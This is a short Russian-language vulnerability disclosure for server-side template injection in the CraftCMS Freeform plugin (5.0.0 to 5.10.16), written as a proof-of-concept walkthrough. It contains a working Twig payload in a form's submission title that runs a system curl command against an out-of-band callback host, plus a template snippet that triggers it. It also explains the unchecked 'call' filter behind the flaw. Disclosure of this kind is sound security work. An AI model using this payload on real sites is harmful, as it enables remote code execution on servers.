
Произвольное внедрение кода в CraftCMS Freeform 5.0.0 < 5.10.16
CraftCMS Freeform содержит уязвимость SSTI, что приводит к внедрению произвольного кода для всех пользователей, имеющих доступ к редактированию формы (заголовок отправки).
Уязвимые версии: v5.0.0 < v5.10.16.
Создайте форму:

Я создал форму «pentest» в качестве доказательства концепции. Затем в настройках укажите следующий заголовок отправки (измените доменное имя на свой собственный сервер):
{{ 'system' | call('curl http://gwgyynafr4feu5xecukf1h2nqew5kw8l.oastify.com/rce') }}

Это выполнит произвольный системный вызов. В данном случае я выполняю curl на контролируемый сервер, который уведомит меня о входящих подключениях. Затем включите эту форму в шаблон/страницу и отправьте её:
<h1>test</h1>
{% set form = freeform.form('pentest') %}
{% if form %}
{{ form.render() }}
{% else %}
<p>Form not found.</p>
{% endif %}
Это вызовет команду curl. Мы можем проверить это, посмотрев на входящий HTTP-запрос, который был создан:

Коренная причина этой проблемы заключается в том, что Freeform реализует фильтр Twig 'call' без проверки пользовательского ввода. Это было исправлено в следующем коммите.